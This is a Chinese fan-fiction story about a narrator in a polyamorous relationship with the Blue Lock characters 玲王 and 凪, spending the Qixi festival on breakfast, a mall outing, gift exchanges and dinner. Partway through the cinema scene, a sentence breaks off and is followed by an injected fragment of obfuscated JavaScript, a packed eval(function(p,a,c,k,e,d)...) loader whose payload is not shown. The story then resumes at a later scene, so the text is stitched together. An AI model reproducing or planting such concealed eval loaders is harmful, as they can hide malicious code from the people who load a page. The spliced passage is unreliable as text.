虽然说我在搞开放关系,三个人恋爱,但玲王显然把凪当成儿子而不是情敌。这感觉其实也没啥,反而让我更轻松了些,至少不需要时刻紧绷着去平衡某种微妙的、剑拔弩张的竞争关系。玲王对凪的那种照顾,带着点无可奈何的纵容和理所当然的掌控,像极了面对一个天赋异禀却生活不能自理的天才儿童的老父亲。而我,似乎莫名其妙地同时拥有了一个完美男友和一个……呃,需要额外费心的大型“儿子”男友? 清晨的阳光透过宽敞的落地窗洒进开放式厨房,空气里弥漫着咖啡的醇香和煎培根的诱人焦香。我和玲王正并肩站在料理台前准备早餐,配合默契得仿佛演练过无数次。我负责将吐司送进烤箱,顺便盯着平底锅里滋滋作响的太阳蛋,玲王则手法娴熟地处理着水果沙拉,将草莓、蓝莓和猕猴桃切成大小均匀的块状。 “爱,盐和胡椒。”玲王头也没抬地伸出手,眼睛还盯着手里的猕猴桃。 “给。”我将研磨瓶精准地递到他手里,顺手将煎好的培根夹出沥油,“鸡蛋要单面还是双面?” “单面吧,凪那家伙只吃流心的。”玲王接过调料,自然地回答道,语气里是对另一个人喜好了如指掌的熟稔。 我们你一言我一语,讨论着早餐的细节,声音不高,却流淌着一种日常的温暖。这种氛围我很喜欢,安宁,踏实,带着烟火气的幸福。 视线瞥向餐厅区域,凪诚士郎正毫无形象地趴在餐桌上,一头柔软的白发乱糟糟地翘着,整张脸都埋进了臂弯里,只露出一点高挺的鼻梁和长而密的白色睫毛。他身上还穿着那身柔软的灰色睡衣,宽大的袖子滑落到手肘,露出白皙的手臂。全然一副被床铺绑架、还没从睡眠深渊里挣扎出来的模样。 看着他那副样子,我有些无奈又好笑。将最后一片培根装盘,我擦擦手走过去,用指尖轻轻戳了戳他裸露在外的手臂皮肤,触感温热。 “凪,醒醒了,”我放软了声音,带着点哄小孩的语气,“今天不仅是难得的假日,还是七夕节哦?我们说好要出去玩的,快点收拾好自己的状态,诚士郎小宝贝?” 趴着的人毫无反应,过了好几秒,才从臂弯里发出闷闷的、带着浓重睡意的哼唧声:“……唔……再五分钟……” “不行哦,早餐已经好了,再不吃凉掉就不好吃了。”我耐心地继续戳他。 他又蠕动了一下,然后慢吞吞地,极其艰难地侧过脸,露出一只半眯着的、氤氲着水汽的黑色眼睛,眼神迷茫又无辜,声音拖得老长:“……爱……好困……既然都叫我小宝贝了……那就干脆抱着我去好了……好麻烦……” 我:“……” 果然会是这样。我就知道! 玲王端着摆盘精美的水果沙拉走过来,恰好听到凪这赖皮至极的发言,忍不住嗤笑一声,把沙拉碗放在桌上,发出清脆的“哒”一声。 “瞧他这个德行,”玲王语气里是毫不掩饰的嫌弃,但紫色的眼眸里却带着一丝惯有的纵容,“爱,别理他。你先吃,一会儿我来‘教训’他。”他说着,还意味深长地捏了捏手指关节,发出轻微的咔哒声。 凪像是没听见,又把脸埋了回去,只留给我们一个毛茸茸的白色后脑勺,用实际行动表达“随便你们怎么说我就是要睡”。 我看着这俩父子般的相处模式,忍不住叹了口气。算了,就这样吧,还能离咋的。 最终,在玲王“再不起来就把你游戏存档删掉”的终极威胁和早餐香气的双重诱惑下,凪总算蠕动着爬了起来,眼睛半睁半闭,梦游般地飘去洗漱。 出门的时候,自然是玲王开车。他那辆线条流畅的黑色跑车安静地停在车库里。其实之前不是没想过雇个司机,毕竟以御影家的财力,这再简单不过。但仔细一想我们三个人之间这种……嗯,奇妙又不太好公之于众的关系,还是果断歇了这个心思。被外人用探究的目光打量猜测,那实在太尴尬了。 我拉开后座车门坐了进去。凪几乎是跟着我挤进来的,他高大的身躯一陷进柔软的后座,就非常自然地侧身躺下,将脑袋枕在了我的大腿上,寻找了一个舒服的姿势,发出一声满足的喟叹,然后闭上眼睛,看样子是打算把路上这段时间也用来补觉。 他的头发蹭着我的皮肤,软软的,有点痒。重量实实在在地压在我的腿上,温暖而安心。我低下头,能看到他安静的睡颜,长睫毛像小刷子一样投下淡淡的阴影,呼吸平稳。 真是的……这么大个人了。 心里这么想着,我的手却已经不由自主地抬起来,轻轻抚上他柔软的白发,有一下没一下地顺着毛。他像是被顺毛顺得很舒服,甚至无意识地在我的掌心蹭了蹭,像只慵懒的大猫。 玲王透过后视镜看到后座的景象,嘴角弯了弯,没说什么,只是平稳地启动了车子。 车子驶出车库,融入周末上午的车流。阳光透过车窗洒进来,落在凪安静的睡脸上,也落在我的手指间。 “玲王,我们今天具体去哪玩?”我一边摸着凪的头发,一边抬头问前座的人,“之前说的那个新开的综合购物广场?还是去湖边走走?” 玲王看着前方的路况,略微思考了一下:“上午先去商场吧?听说那边七夕节有挺多限定活动,还可以看看电影。下午如果天气好,再去湖边散步,晚上找个视野好的餐厅吃饭,怎么样?” “听起来不错!”我点点头,手指无意识地卷着凪的一缕白发,“那就这么定……” 话还没说完,腿上的“大型抱枕”突然不安分地动了一下。凪似乎并没有完全睡着,他只是闭着眼,脑袋在我腿上蹭了蹭,发出一点模糊的鼻音,然后调整了一下姿势,侧过身,面对着我这边,手臂甚至下意识地环住了我的腰,把我往他的方向带了带。 这个动作让我瞬间僵了一下,脸颊有点发烫。虽然更亲密的事情都不知道做过多少次了,但这种无意识的、带着依赖和占有意味的小动作,还是会让我的心跳漏掉一拍。 “凪?”我小声叫他,手指轻轻点了点他的脸颊,“你没睡着啊?” 他没睁眼,只是又用鼻音哼了一声,像是抗议我打扰了他的“休眠”,环在我腰上的手臂却收得更紧了些,脸颊也贴得我更近,温热的呼吸透过薄薄的衣料熨烫着我的皮肤。 玲王又从后视镜里瞥了我们一眼,这次发出了一声极轻的、意味不明的“啧”。 “诚士郎小宝贝,”玲王开口,声音带着一丝戏谑,“你要是没睡着,就起来自己坐好,没看见爱都快被你压麻了吗?” 凪依旧没睁眼,只是懒洋洋地、理直气壮地回了一句:“……不要。这样舒服。”他还故意又蹭了蹭,柔软的头发扫过我的小腹,带来一阵细密的痒意。 我忍不住缩了一下,脸上更热了,小声抗议:“喂……凪……” 玲王摇了摇头,语气里是十足的“老父亲”式的无奈:“你这家伙……真是越来越会撒娇了。”但他也没再坚持让凪起来,只是将车里的空调温度稍微调高了一点,让后座那个赖着的家伙睡得更舒服些。 我看着腿上安然假寐的凪,又看看前面认真开车的玲王宽阔可靠的背影,窗外是不断流过的城市风景,阳光暖暖的,车里放着舒缓的轻音乐。 一种难以言喻的、饱胀的幸福感充满了胸腔。 这种关系或许在别人看来很奇怪,甚至难以理解。但此时此刻,我只觉得,这样真好。 玲王透过后视镜,看到我脸上不自觉露出的笑容,嘴角也向上扬起。 “傻笑什么呢?”他问,声音温柔。 “没什么,”我摇摇头,手指依旧有一下没一下地梳理着凪的头发,轻声道,“就是觉得……今天天气真好。” 是啊,七夕节,天气真好。 商场离我们的住处并不算远,玲王甚至还放了首节奏轻快的流行歌给我们助兴。音乐声在车内流淌,混合着窗外溜进来的阳光,本该是令人愉悦的氛围。 然而,对于后座那位试图将补觉进行到底的“大型宝宝”来说,这无疑是种打扰。凪诚士郎在我腿上不安分地拱了拱,发出一声模糊的、带着抗议意味的鼻音,眉头也微微蹙起,显然是被吵到了。 我正想示意玲王把音量调小一点,或者换个舒缓些的音乐,前座那位却像是完全没接收到后座的“哀怨”信号,甚至手指还在方向盘上跟着节奏轻轻敲击了两下,嘴角噙着一丝若有若无的笑意,完全没有要迁就的意思。 看来玲王今天是打定主意不想让凪太好过了。 腿上的人形抱枕又蠕动了几下,最终似乎终于败给了持续不断的音乐声和某个饲养员故意的“无视”。他慢悠悠地、极其不情愿地坐了起来,脱离了我的腿。 阳光正好照亮他睡眼惺忪的脸。一头柔软的白发果然被压得乱糟糟的,东一撮西一撮地翘着,左边脸颊上甚至还有好几道清晰的、被布料压出的红痕,配上他那双半眯着的、氤氲着水汽的黑眸,整个人看起来毛茸茸又懵懂懂,像只刚被吵醒、还没搞清楚状况的大型犬。 早上出门前好不容易收拾出的那点清爽感算是彻底报废了。我看着他这副模样,忍不住噗嗤一声笑了出来,一边笑一边从随身的小包里掏出一把便携的小梳子。 “别动,”我凑过去,轻声说,伸手小心翼翼地帮他梳理那头乱发,“都睡成鸟窝了。” 凪乖乖地坐着,任由我摆弄他的头发,眼睛依旧半闭着,似乎随时都能再睡过去。梳齿划过柔软的发丝,将那些不听话的翘发慢慢抚平。看着他这副全然信赖、任人施为的样子,再想到他其实是我们三个人里最高最壮、年龄也最大的那个,一种强烈的反差感涌上心头,让我脸上的笑意怎么也止不住。 透过后视镜,我能看到玲王的目光也瞥了过来。他嘴角那点戏谑的笑意似乎淡了些,紫色的眼眸微微眯起,盯着我仔细给凪梳头的手,眼神里闪过一丝不易察觉的……不爽? 果然。我心里咯噔一下。这位爷的醋坛子,就算对象是被他当成“儿子”养的凪,估计也得晃上两晃。 我赶紧加快手上的动作,三下五除二把凪的头发梳理顺溜,然后不动声色地收回手,身体也坐直了些,拉开一点和凪的距离。 “好了,”我故作轻松地说,试图转移话题,“看起来总算像个人了。” 凪迷迷糊糊地“嗯”了一声,抬手揉了揉刚刚被梳顺的头发,似乎对我的评价毫无意见。 玲王从鼻子里发出一个极轻的哼声,没说什么,只是伸手切换了车里的音乐,从刚才的流行乐换成了一首更舒缓的钢琴曲。 嗯,看来端水行动得提前进行了。我暗自思忖,一会儿下车得找个机会,至少得哄哄这位似乎觉得自己被忽略了的小狮子。 车子平稳地驶入商场的地下停车场。停好车,解开安全带,玲王率先下了车,绕到后面打开了后备箱,似乎在检查什么东西。 我推了推旁边又开始点头打瞌睡的凪:“到了,醒醒神。” 凪慢吞吞地睁开眼,打了个哈欠,眼角甚至挤出了点生理性的泪水。“……好麻烦……”他嘟囔着,但还是跟着我下了车。 刚关上车门,玲王就从后备箱那边走了过来,手里拿着……一顶黑色的棒球帽? 他径直走到凪面前,二话不说,抬手就把那顶帽子扣在了凪那一头刚刚被我梳顺的白发上,还顺手往下压了压帽檐,几乎遮住了他大半张脸。 “戴上,”玲王的语气听起来十分自然,仿佛只是随手为之,“外面太阳有点大,省得你等会儿又嫌刺眼懒得走路。” 凪被这突如其来的“关怀”弄得愣了一下,抬手扶了扶帽檐,从帽檐下方露出半只迷茫的黑眼睛:“……哦。” 我却看得分明——玲王哪里是怕凪嫌太阳大,分明是不想再看到我亲手给凪整理头发的那一幕!把这头显眼的白毛遮起来,眼不见心不烦! 这个幼稚鬼! 我心里哭笑不得,但面上不敢显露分毫。看着玲王做完这一切后,脸上那点微妙的不爽似乎终于消散,转而看向我,唇角弯起熟悉的、带着点掌控感的笑容:“走吧。” 他极其自然地伸出手,牵住了我的右手。 我的左手则被刚刚戴好帽子、还在适应帽檐视野的凪下意识地握住。他似乎还没完全清醒,只是凭着本能抓住了身边最熟悉的人。 于是,我就这样被一左一右地牵着,像个夹心饼干一样,被两人带着往电梯口走去。 玲王的手心干燥温暖,带着不容置疑的力道。凪的手则更大一些,手指修长,握着我手的动作显得有些慵懒,但抓得很稳。 感受着从左右手分别传来的不同温度和触感,还有身边这两个风格迥异却同样引人注目的男人,我的脸颊微微发烫,心里那点端水的念头更强烈了。 进了电梯,里面已经有一对母女。那位母亲看到我们三个这诡异的组合,尤其是两个身材高大、颜值出众的男人一左一右牵着我,眼神里瞬间充满了惊讶和探究,视线在我们交握的手和脸上来回扫视。 玲王像是完全没注意到那目光,神态自若地看着电梯楼层数字。凪则压根没睁眼,靠着电梯壁,似乎又抓紧时间进入了待机状态。 只有我,被那目光看得浑身不自在,下意识地想抽回手,却被两人同时握紧了些。 玲王甚至侧过头,对我露出一个安抚般的微笑,用口型无声地说:“没事。” 他的镇定感染了我。我深吸一口气,也努力装作若无其事的样子。是啊,没什么大不了的,我们就是这样。 电梯到达一楼商场主厅,“叮”的一声轻响,门缓缓打开。 扑面而来的是一阵凉爽的、混合着各种香水味和食物香气的空气,以及更加喧嚣的人声和背景音乐。 七夕节的装饰已经铺满了整个商场中庭。巨大的、闪着银光的鹊桥模型横跨空中,两侧点缀着无数星星点灯的灯饰和粉白色的气球。各色店铺门口都立着七夕限定的宣传牌,到处都能看到成双成对的情侣,或是带着孩子的家庭,每个人的脸上都洋溢着节日的喜悦。 “哇,布置得挺像那么回事嘛。”玲王挑了挑眉,打量着周围的装饰,语气里带着些许商业评估的意味,“看来这次商场运营方花了点心思。” 凪也被这热闹的动静吵得彻底睁开了眼,他从帽檐下方环视了一圈,然后发出了他最经典的感慨:“……好多人……麻烦……” “节日嘛,当然热闹啦。”我笑着捏了捏他的手,“我们先从哪儿逛起?听说中庭那边有七夕限定市集?” “嗯,去看看。”玲王点头,依旧牢牢牵着我的手,率先朝着人流最多的中庭方向走去。 周末叠加节日,商场里的人不是一般的多。我们三个人并排走其实有些勉强,尤其是凪和玲王都属于身材显眼的类型,不可避免地引来了更多的注目礼。 走着走着,我感觉凪握着我手的力道紧了紧,他高大的身体也下意识地向我这边靠拢了些,几乎把我半挡在他和玲王之间。 “怎么了?”我抬头看他。从我的角度,只能看到他线条流畅的下颌和被帽檐遮挡的侧脸。 “……挤。”他言简意赅地表达了自己的不适,眉头微微蹙起。人多的环境显然消耗了他本就稀缺的能量。 另一侧的玲王也察觉到了我的重心偏向凪那边,他侧过头,视线掠过凪紧紧挨着我的胳膊,紫色的眼眸里闪过一丝了然,随即他手腕微微用力,将我向他那边轻轻带了一下。 “跟紧点,”玲王的语气听起来很自然,仿佛只是出于安全考虑,“别被人流冲散了。” 于是,我就像一艘小船,被左右两股力量微妙地拉扯着,艰难地在人流中航行。 我算是看明白了,这端水大师还真不是那么好当的! 好不容易挤到中庭的七夕市集,这里更是人山人海。各种摊位售卖着手工饰品、七夕限定甜点、情侣挂件等等,琳琅满目。 一个卖手工编织手链的摊位吸引了我的目光。摊位上挂满了各种配色精巧、编织复杂的手链,其中不少融入了星星、鹊桥等七夕元素。 “你看这个,”我拉着他们俩凑过去,指着一条深蓝色打底、编织着银色丝线和细小珍珠的手链,“好看吗?感觉很适合玲王。” 玲王闻言,低头看了看那条手链,唇角弯了弯:“眼光不错。”他似乎对我的主动提及和搭配感到满意。 “老板,这个拿给我看看。”玲王对摊主说道。 摊主是位笑容和蔼的老奶奶,她取下那条手链,递给玲王,然后目光又落到我和凪身上,笑眯眯地说:“给男朋友买啊?可以看看这边,还有好多情侣款呢。” 玲王笑了笑,没否认,只是仔细看着手里的手链。 我趁着这个机会,赶紧在摊位上搜寻起来,想找一条适合凪的。很快,一条灰白色为主、编织着懒洋洋的云朵和柠檬图案的手链抓住了我的眼球——这图案和风格,简直是为凪量身定做的! “凪,你看这个!”我拿起那条手链,献宝似的递到他眼前,“喜不喜欢?上面还有柠檬哦。” 凪的视线从手机屏幕上移开(不知道他什么时候又把手机掏出来了),落在那条手链上,看到那个小小的、黄色的柠檬图案时,他那总是显得没什么精神的黑色眼眸似乎亮了一点点。 “……嗯。”他点了点头,表示认可,“还可以。” 老奶奶见状,又笑着说:“小姐好眼光哦,这条和刚才那条,正好可以当情侣手链呢!虽然风格不一样,但都是我们家的特色编织法。” 情侣手链?我愣了一下,下意识地看向玲王。他正好也抬眼看了过来,视线在我手里的云朵柠檬手链和凪身上扫过,眉梢几不可查地挑了一下。 完蛋,这水好像又要端不平了! 我急中生智,连忙对老奶奶说:“不、不是,我们是买来送朋友的……”然后我飞快地把那条云朵柠檬手链也塞到玲王手里,语气夸张地说,“玲王你看!这条也好好看!要不……两条都买了?一条你戴,一条送朋友?” 玲王低头看着自己手里突然多出来的、画风截然不同的两条手链——一条优雅精致,一条可爱慵懒——脸上的表情变得有些似笑非笑。他抬眼看我,紫眸里闪烁着洞悉一切的光芒,仿佛在说:你继续编? 我的脸颊瞬间爆红,眼神飘忽,不敢看他。 最后还是玲王付了钱,把两条手链都买了下来。他把那条深蓝银线的手链直接戴在了手腕上,然后拿着那条云朵柠檬的手链,看向凪。 凪也正看着那条手链,眼神里似乎有点……期待? 玲王轻笑一声,抬手——却并没有把手链递给凪,而是直接拉过凪的手腕,动作略显强硬地亲自给他戴了上去! 凪:“……” 我:“……” 老奶奶:“哎呀,感情真好呢。” 灰白懒云的手链套在凪纤细的手腕上,居然意外地合适。玲王打量了一下,满意地点点头:“嗯,还行,不算太丑。”语气活像是给自家宠物戴了个新项圈。 凪抬起手腕,看着那条手链,眨了眨眼,然后又看了看玲王手腕上那条,最后目光转向我,慢吞吞地说:“……谢谢,爱。” ……你谢我干什么?给你戴上去的明明是玲王啊喂! 不过,看着两人手腕上风格迥异却出自同一家店的手链,以及玲王脸上那点“所有权宣告完毕”的满意表情,还有凪那副“既然戴了那就这样吧”的懒散模样,我心里那点忐忑莫名地安定了下来。 好像……误打误撞,这水又端平了? 离开手链摊位,我们又逛了几个地方。玲王给我买了一个可爱的星形气球拴在包上,凪则对一台夹娃娃机产生了兴趣——准确地说,是对里面一个巨大的、懒洋洋的趴趴狗玩偶产生了兴趣。 他站在娃娃机前,盯着那个玩偶看了半天,然后慢吞吞地掏出钱包,看向玲王。 玲王:“……又来了。”他无奈地叹了口气,认命地上前投币,“想要哪个?” “那个,大的,白色的,像我的。”凪指着那个趴趴狗。 玲王的技术意外地不错,尝试了两次后,竟然真的把那个巨大的趴趴狗玩偶夹了出来! 当玲王抱着那个几乎有半人高的、软乎乎的白色趴趴狗玩偶从出口拿出来时,周围几个小朋友都投来了羡慕的目光。 玲王一脸嫌弃地把玩偶塞进凪的怀里:“喏,你的‘同类’。” 凪抱着那个巨大的、软绵绵的玩偶,整张脸几乎都要埋进那柔软的绒毛里,只露出一双微微发亮的黑眼睛,看起来居然……有点可爱? 他蹭了蹭玩偶,然后看向我,声音闷在玩偶里:“爱,送你。” “诶?送我?”我看着这个几乎和我差不多大的玩偶,有点懵。 “……嗯,”他点头,“抱着睡觉,舒服。” 玲王在一旁抱着胳膊,凉凉地说:“是啊,省得你晚上老是抢爱的被子。” 凪:“……才没有。” 我看着怀里这个巨大的、带着凪气味的趴趴狗玩偶,又看看旁边一个一脸“快夸我”一个一脸“嫌弃但纵容”的两位男友,忍不住笑了出来,把脸埋进玩偶柔软的绒毛里。 好吧,端水虽然辛苦,但回报似乎……还挺丰厚的? 抱着巨大的玩偶继续逛街实在有些引人注目,我们决定先去看场电影,顺便让凪“补充一下能量”——他的原话。 玲王选了一部最近大热的动画电影。取票的时候,他又非常“自然”地只买了两杯情侣套餐的加大可乐和一桶爆米花。 进入影厅,光线暗下来。玲王理所当然地坐在了我左边,将一杯可乐递给我。凪抱着那个巨大的趴趴狗玩偶,慢吞吞地坐在了我右边,然后非常自然地从我手里拿过那杯可乐,吸了一口。 玲王:“……那是我给爱的。” 凪:“……哦。麻烦。”他又把可乐塞回我手里。 我:“……没关系,一起喝也行。”这水端得我手酸。 电影开场没多久,身旁就传来均匀绵长的呼吸声。凪果然又睡着了,脑袋歪向一边,帽檐遮住了大半张脸,怀里还紧紧抱着那个趴趴狗玩偶。 另一侧的玲王倒是看得很认真,偶尔还会凑到我耳边,低声评价一下电影的剧情或是画面,温热的呼吸拂过我的耳廓,带来一阵细微的痒意。 当电影放到一个搞笑的片段时,全场爆发出笑声。我也忍不住笑得靠向了玲王那边。玲王很自然地伸出手,揽住了我的肩膀,将我往他怀里带了带。 我靠在他坚实的肩膀上,能闻到他身上淡淡的、好闻的香水味。荧幕的光影在他轮廓分明的侧脸上流转,紫色的眼眸专注地看着前方,嘴角带着轻松的笑意。 这一刻,气氛很好。好到让我几乎忘记了右边还睡着一个。 直到电影进行到一半,我感觉自己的右手突然被一只温热的大手覆盖。那只手带着刚睡醒的暖意,有些笨拙地、试探性地穿过爆米花桶和我手的间隙,轻轻握住了我的手指。 是凪。他不知道什么时候醒了,或者是根本没睡熟。他没有看向我,目光依旧盯着荧幕,仿佛那只悄悄握住我的手与他无关。但他微微用力收紧的指尖,却泄露了他的在意。 我的心跳忽然漏了一拍。 左边是玲王揽着我肩膀的有力手臂,右边是凪在昏暗光影下悄悄握住我的手指。 我被两种不同的温度和触感包围着,荧幕上播放着充满幻想色彩的故事,爆米花的甜腻香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“爱,”玲王忽然开口,紫眸转向我,语气自然得像是在讨论天气,“我突然想起刚才那家手链店,好像还有个配套的项链坠子没仔细看。我和凪过去看一眼,你在这里等我们一下?顺便帮我们看看哪款奶油泡芙看起来比较有食欲?”他说着,朝甜品站抬了抬下巴。 几乎是同时,凪也慢吞吞地附和,眼睛却没离开那些堆满奶油的甜品:“……嗯。很快回来。” 我看着他们俩这一唱一和、故作自然的模样,心里立刻跟明镜似的——什么看项链坠子,分明就是刚才看到我只买了手链,现在想偷偷回去给我买配套的礼物!这两个家伙,在这种事情上倒是默契十足。 不过我面上不显,只是笑眯眯地点头:“好啊,你们去吧,我正好研究下哪个泡芙的奶油看起来最罪恶。”正好,我也发愁没机会单独行动给他们准备惊喜呢。 玲王似乎很满意我的“配合”,伸手轻轻捏了下我的脸颊,动作亲昵自然:“乖,别跑远。”说完,便很自然地揽过还在对着甜品柜“发电”的凪的肩膀,“走了,凪。” 凪“唔”了一声,总算把视线从奶油上撕下来,任由玲王带着他转身,汇入人流,朝着刚才手链摊位的方向走去。 目送他们高大的背影消失在人潮中,我立刻转身,掏出手机迅速给两人各发了一条“我先随便逛逛,等下联系”的消息,然后脚步轻快地朝着相反方向的奢侈品区域迈进。 给我的两位男友挑七夕礼物,这可是个技术活! 玲王品味高,用的东西无一不是精挑细选,寻常物件根本入不了他的眼。而且他在外极其注重形象,送太私密或者太夸张的东西估计他会不好意思用。我在几家顶级品牌的男士专柜前流连,最终目光锁定在一款设计极为简约经典的铂金袖扣上,线条利落,只在不起眼处镶嵌了一颗品质极佳的深紫色蓝宝石,低调却奢华,隐隐与他紫眸相呼应,又符合他一贯的审美。顺便配了一瓶和他常用香调相似却又更添一丝沉稳木质香的男士香水。 “嗯,玲王应该会喜欢。”我满意地看着礼盒被精心包装好。 至于凪……这家伙的衣柜打开来简直让人绝望。不是各种灰白黑的基础款卫衣运动裤,就是几套应付正式场合、穿起来像被绑架一样的西装。给他买衣服,舒适度和时尚感必须兼顾,还得极其方便穿脱——毕竟让他多花一秒钟在穿衣服上都是巨大的能量消耗。 我在一家以极简设计和顶级面料著称的店铺里,好不容易挑中了一件炭灰色的羊绒混纺针织衫,触感软糯得像云朵,设计是宽松落肩的款式,胸前只有一个非常小的同色系刺绣logo,低调又高级。又选了一条垂感极佳的黑色休闲长裤,搭配在一起,保证他能穿出那种慵懒又不失格调的感觉。 “完美!这样就不会被人说是被虐待了。”我想象着凪穿上新衣服的样子,忍不住偷笑。 买完衣服,我还是没忍住,绕回那家甜品站,买了两个不同口味的超浓厚奶油泡芙——巧克力味给玲王,原味给凪。又去买了漂亮的礼物盒和包装纸,将袖扣、香水和衣服分别仔细包好,泡芙则用精致的点心盒装起来。 抱着好几个购物袋,我心满意足地找了个相对安静的休息区坐下,看着身边包装精美的礼物,心里充满了期待。不知道他们看到礼物时会是什么表情呢?玲王大概会挑眉,然后露出那种“算你还有点眼光”的满意笑容?凪的话……估计会眼睛亮一下,然后蹭过来懒洋洋地说声“谢谢爱”,再心安理得地享受新衣服的舒适? 正美滋滋地想着,手机震动了一下,是玲王发来的消息,问我在哪里。我赶紧把礼物袋子往身后藏了藏,回复了休息区的位置。 没过几分钟,就看到那两个惹眼的身影穿过人群走了过来。玲王手里提着一个小巧的品牌纸袋,凪则……手里居然拿着一个巨大的、棉花糖做的粉色云朵?! “你们回来啦!”我笑着朝他们挥手。 玲王走到我面前,目光扫过我身边那几个明显新买的购物袋,眉梢微挑:“看来也没闲着?” “随便逛逛嘛。”我含糊道,赶紧转移话题,指着凪手里那个巨大的棉花糖云朵,“这个是……?” 凪把那个几乎比他脸还大的粉色云朵递到我面前,表情一如既往的平淡,但眼神里似乎有点……期待?“……给你的。看起来,很软。” 我看着这个巨大又可爱的棉花糖,心里软得一塌糊涂,接过来小心地舔了一口,甜丝丝的味道在嘴里化开:“谢谢凪!好甜!” 玲王看着我们,轻笑一声,然后将他手里的那个小巧纸袋递给我:“喏,七夕礼物。看看喜不喜欢。” 我接过纸袋,里面是一个深蓝色的丝绒盒子。打开一看,竟然是一条设计极其精巧的铂金项链,吊坠是一颗被细钻环绕的紫色主石,在灯光下折射出梦幻般的光泽,一看就价值不菲,而且……莫名和我送他的袖扣很配? “这太贵重了……”我有些惊讶。 “配你刚好。”玲王语气随意,仿佛只是送了个小玩意,但他微微扬起的下巴和眼神里的得意却出卖了他。 这时,凪也慢吞吞地从他那个巨大的玩偶后面(天知道他什么时候又把那趴趴狗抱回来了)摸出一个小一点的、扁平的盒子,塞到我手里:“……我的。” 我打开一看,居然是最新款的便携式游戏机,而且是我之前随口提过很喜欢的限量配色! “天啊!这个很难买的!”我惊喜地叫出声,“谢谢你凪!” “……嗯。”凪眨了眨眼,嘴角似乎向上弯了一下,“以后可以一起打游戏。” 我看着手里的项链和游戏机,又看看眼前这两个人,心里被巨大的惊喜和感动填满。原来他们刚才不仅是去给我买礼物,还偷偷准备了额外的惊喜! “我……我也给你们买了礼物!”我赶紧把藏在身后的礼物袋拿出来,有点不好意思地递给他们,“七夕快乐!” 玲王和凪都愣了一下,似乎没想到我也准备了。 玲王接过袋子,拿出那个包装精美的盒子打开,看到袖扣和香水时,紫眸里明显掠过一丝惊艳和愉悦:“眼光有长进。”他拿起那对袖扣在指尖把玩,嘴角噙着满意的笑。 凪则拆开了他的礼物,拿出那件柔软的针织衫,下意识地就用脸蹭了蹭,然后慢吞吞地点评:“……舒服。”看起来很是喜欢。 “还有泡芙!”我把点心盒也推过去,“你们喜欢的口味。” 玲王拿起巧克力泡芙咬了一口,点点头:“不错。”然后很自然地把剩下半个递到我嘴边,“尝尝?” 凪也拿起原味泡芙,自己咬了一大口,然后把沾着奶油的那一边转向我,意思很明显。 我看着左右同时递过来的泡芙,心里那点端水的斗志又被点燃了——就着玲王的手咬了一小口他手里的巧克力泡芙,又探头过去在凪的泡芙上咬了一小口。 甜腻的奶油和浓郁的巧克力在嘴里混合,甜得有点发腻,但心里却像是被蜜泡过一样。 *** 晚饭是我们三个回家吃的,即便是在自己家里,玲王也把仪式感拉满了。精致的骨瓷餐盘,擦得锃亮的银质刀叉,甚至连餐巾都折叠成了优雅的天鹅形状。他甚至还变戏法似的拿出一个细长的透明小花瓶,里面插着几支娇艳欲滴的香槟玫瑰和翠绿的尤加利叶,摆在了餐桌正中央。 凪看着那个小花瓶,白色的睫毛眨了眨,像是陷入了某种思考。然后他慢吞吞地站起身,一声不吭地飘回了卧室。没过一会儿,他居然捧着他那盆宝贝仙人掌“小剪”回来了,小心翼翼地把它放在了花瓶旁边。 墨绿色的、带着尖刺的仙人掌,和旁边柔美芬芳的鲜花并排而立,形成了一种极其诡异的反差萌。 我看着这“中西合璧”、“刚柔并济”的餐桌装饰,一时无语凝噎。这画面……好像我是那个多余的、破坏了和谐感的缺口? 不行!胜负欲莫名其妙地被点燃了!我转身钻进厨房,打开冰箱,拿出之前准备好的材料,手忙脚乱但又飞快地加工了一下,端出了一个我自认为造型还算可爱的花花形状慕斯蛋糕,当然是三人份的,小心翼翼地放在了“小剪”和玫瑰花瓶的另一边。 好了,这下我们三个的“贡献”算是整齐了。虽然风格依旧迥异得让人扶额。 玲王看着我的“杰作”,紫眸里漾开笑意,伸手帮我拉开椅子:“好了,大厨辛苦了,快坐下吃饭吧。” 晚餐是玲王叫家里厨师准备了送来的,都是些清淡但美味的和食,很合我的胃口。我们一边吃,一边随意地聊着天。 “说起来,”玲王夹起一块煎鲑鱼,语气带着点无奈的调侃,“几天前训练的时候,又被那家伙预判了传球路线。” “嗯?”我抬起头,“谁啊?” “还能有谁,”玲王叹了口气,像是想起了什么郁闷的事,“同在阿森纳的那个中场呗。那家伙的眼睛简直像装了雷达,每次我觉得绝妙的时机,总能被他提前一步拦截。烦死了。” 他顿了顿,视线瞥向对面正慢条斯理、专注地和一颗毛豆作斗争的凪,语气更加幽怨:“最过分的还是这家伙。明明现在在满城,隔着老远,居然比我自己还了解我的习惯和跑动路线!上次友谊赛对上,我的假动作他完全不吃,好像我屁股一撅他就知道我要往哪边传球一样!搞得我那场踢得憋屈死了!能力完全发挥不出来!” 被点名的凪终于从毛豆里抬起头,慢悠悠地看了玲王一眼,语气平淡却精准补刀:“……因为玲王的想法,都写在脸上了啊。很好懂。” “……哈?!”玲王像是被踩了尾巴的猫,瞬间炸毛,“我哪有?!” “……就有。”凪继续慢吞吞地攻击,甚至举起了例子,“上次,你想骗我向右切,但是你的左脚脚尖先下意识地朝左偏了几度。上上次,你假装要远射,但是支撑腿的膝盖弯曲程度比平时多了,明显是在蓄力准备变向……” “停停停!”玲王的脸一阵红一阵白,差点把筷子拍桌上,“你这家伙!观察这些细节干嘛?!节能主义的人设崩了啊喂!” “……因为很有趣。”凪眨了眨眼,露出一副“这很费能量但我乐意”的表情,然后又补充了一句,“而且,打败玲王,比较有成就感。” “……你这臭小子!”玲王气得伸手越过桌子去揉凪那一头白毛,被凪灵活地(相对他平时的速度而言)躲开了。 我看着他们俩像小学生一样斗嘴,虽然是在互相吐槽,但气氛却莫名融洽,甚至有种旁人插不进去的默契感。心里那点因为奇葩餐桌装饰而产生的别扭感渐渐消散,被一种温暖的饱胀感取代。 就这样吧。我扒拉着碗里的饭,偷偷看着身边这两个人。玲王还在喋喋不休地数落凪“不可爱”、“白疼你了”,凪则有一搭没一搭地吃着饭,偶尔回一句就能让玲王跳脚。 如果日子能一直这样下去,吵吵闹闹,却又彼此紧密相连,好像……真的很不错。 